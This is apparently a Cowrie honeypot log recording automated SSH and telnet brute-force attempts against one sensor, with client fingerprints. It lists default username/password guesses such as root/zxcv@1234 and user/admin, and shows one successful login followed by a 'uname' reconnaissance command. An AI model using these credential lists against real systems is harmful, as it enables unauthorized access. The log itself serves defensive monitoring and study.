{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:26.365694Z","src_ip":"45.156.87.69","session":"50c5ee3c2ad7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:26.863977Z","src_ip":"193.32.162.145","session":"881978cd04a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chatgpt","password":"chatgpt","message":"login attempt [chatgpt/chatgpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:27.027364Z","src_ip":"45.156.87.69","session":"50c5ee3c2ad7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:28.168649Z","src_ip":"45.156.87.69","session":"50c5ee3c2ad7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":24806,"dst_ip":"159.203.135.109","dst_port":22,"session":"91a73732f3e7","protocol":"ssh","message":"New connection: 45.156.87.69:24806 (159.203.135.109:22) [session: 91a73732f3e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:29.764804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:29.900582Z","src_ip":"45.156.87.69","session":"91a73732f3e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:29.905041Z","src_ip":"45.156.87.69","session":"91a73732f3e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jay","password":"jay","message":"login attempt [jay/jay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:30.614056Z","src_ip":"45.156.87.69","session":"91a73732f3e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:31.977947Z","src_ip":"45.156.87.69","session":"91a73732f3e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":24808,"dst_ip":"159.203.135.109","dst_port":22,"session":"85777c1fb054","protocol":"ssh","message":"New connection: 45.156.87.69:24808 (159.203.135.109:22) [session: 85777c1fb054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:33.677401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:33.750504Z","src_ip":"45.156.87.69","session":"85777c1fb054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:33.801131Z","src_ip":"45.156.87.69","session":"85777c1fb054","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":59030,"dst_ip":"159.203.135.109","dst_port":22,"session":"55de057494d1","protocol":"ssh","message":"New connection: 103.172.78.219:59030 (159.203.135.109:22) [session: 55de057494d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:34.075266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:34.079785Z","src_ip":"103.172.78.219","session":"55de057494d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcv@1234","message":"login attempt [root/zxcv@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:34.192483Z","src_ip":"45.156.87.69","session":"85777c1fb054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:34.335444Z","src_ip":"103.172.78.219","session":"55de057494d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"timosha","message":"login attempt [root/timosha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:35.118897Z","src_ip":"103.172.78.219","session":"55de057494d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:35.413329Z","src_ip":"45.156.87.69","session":"85777c1fb054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:36.376484Z","src_ip":"103.172.78.219","session":"55de057494d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":43486,"dst_ip":"159.203.135.109","dst_port":22,"session":"fec7cbe703cb","protocol":"ssh","message":"New connection: 45.156.87.69:43486 (159.203.135.109:22) [session: fec7cbe703cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:37.295910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:37.319130Z","src_ip":"45.156.87.69","session":"fec7cbe703cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:37.403542Z","src_ip":"45.156.87.69","session":"fec7cbe703cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:37.756875Z","src_ip":"45.156.87.69","session":"fec7cbe703cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:39.003688Z","src_ip":"45.156.87.69","session":"fec7cbe703cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.984445571899414,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:39.244912Z","src_ip":"152.42.224.71","session":"cef0732749c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":43492,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed2337ffe6cd","protocol":"ssh","message":"New connection: 45.156.87.69:43492 (159.203.135.109:22) [session: ed2337ffe6cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:41.036983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:41.042062Z","src_ip":"45.156.87.69","session":"ed2337ffe6cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:41.139803Z","src_ip":"45.156.87.69","session":"ed2337ffe6cd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:41.469521Z","src_ip":"45.156.87.69","session":"ed2337ffe6cd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:41.687936Z","src_ip":"45.156.87.69","session":"ed2337ffe6cd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:41.691078Z","src_ip":"45.156.87.69","session":"ed2337ffe6cd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:41.792252Z","src_ip":"45.156.87.69","session":"ed2337ffe6cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:41.797188Z","src_ip":"45.156.87.69","session":"ed2337ffe6cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":43504,"dst_ip":"159.203.135.109","dst_port":22,"session":"2212f863cf59","protocol":"ssh","message":"New connection: 45.156.87.69:43504 (159.203.135.109:22) [session: 2212f863cf59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:44.525062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:44.530766Z","src_ip":"45.156.87.69","session":"2212f863cf59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:44.626165Z","src_ip":"45.156.87.69","session":"2212f863cf59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"ubuntu","message":"login attempt [sol/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:44.982787Z","src_ip":"45.156.87.69","session":"2212f863cf59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:46.091529Z","src_ip":"45.156.87.69","session":"2212f863cf59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":37690,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b8283527891","protocol":"ssh","message":"New connection: 45.156.87.69:37690 (159.203.135.109:22) [session: 3b8283527891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:48.157361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:48.166425Z","src_ip":"45.156.87.69","session":"3b8283527891","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:48.255957Z","src_ip":"45.156.87.69","session":"3b8283527891","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin","message":"login attempt [user/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:48.586944Z","src_ip":"45.156.87.69","session":"3b8283527891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.961323261260986,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:48.767752Z","src_ip":"152.42.224.71","session":"e7fd4ca35861","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:49.671492Z","src_ip":"45.156.87.69","session":"3b8283527891","protocol":"ssh"}
